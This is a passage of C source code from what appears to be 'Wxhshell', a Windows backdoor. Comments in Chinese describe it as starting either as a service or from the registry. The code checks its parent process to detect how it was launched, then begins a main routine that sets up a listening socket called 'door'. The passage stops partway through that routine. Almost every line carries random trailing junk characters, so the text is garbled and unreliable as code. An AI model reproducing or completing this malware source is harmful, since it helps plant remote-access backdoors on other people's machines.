DWORD BasePriority; ,Y7QmbX^
ULONG UniqueProcessId; ZDm Y${J
ULONG InheritedFromUniqueProcessId; ,#j'~-5
} PROCESS_BASIC_INFORMATION; {vp*m:K
1;~|[C
PROCNTQSIP NtQueryInformationProcess; gCx#&aXS
IJD E{)
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vU9:`@beu
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *eMMfxFl
rXq{WS`
HANDLE hProcess; BCh|^Pk
PROCESS_BASIC_INFORMATION pbi; )Cd.1X8
No*[@D]g
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N{uVh;_
if(NULL == hInst ) return 0; EKEJ9Y+47H
0x fF
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :a9
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P7$/yBI U
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XfN(7d0
9A *gW j
if (!NtQueryInformationProcess) return 0; jW>K#vj
x
kdC-S
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "6Z(0 iu:{
if(!hProcess) return 0; P=Su)c
\;JZt[
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S:1g(f*85
"egpc*|]
CloseHandle(hProcess); <jBRUa[j_
]`M2Kwp
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z{ 1B:aW
if(hProcess==NULL) return 0; 1:J+`mzpl
%^[D+1ULb
HMODULE hMod; ;*0?C'h=
char procName[255]; me-uPm
unsigned long cbNeeded; .h(iyCxP
13+.>
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <,\U,jU_
1x%B`d
CloseHandle(hProcess); 9*r^1PRc
M{4XNE]m
if(strstr(procName,"services")) return 1; // 以服务启动 ~0@fK<C)O
o=Y'ns^a(
return 0; // 注册表启动 bP> Kx-%q
} mi[8O$^iJ
n#@ Qd!uzM
// 主模块 ;; ;=)'o
int StartWxhshell(LPSTR lpCmdLine) $lq.*UQ;0
{ KC)}Mzt6_
SOCKET wsl; +}PN+:yV
BOOL val=TRUE; :>U+HQll
int port=0; c94=>p6
struct sockaddr_in door; h~ZLULW)B
~H1<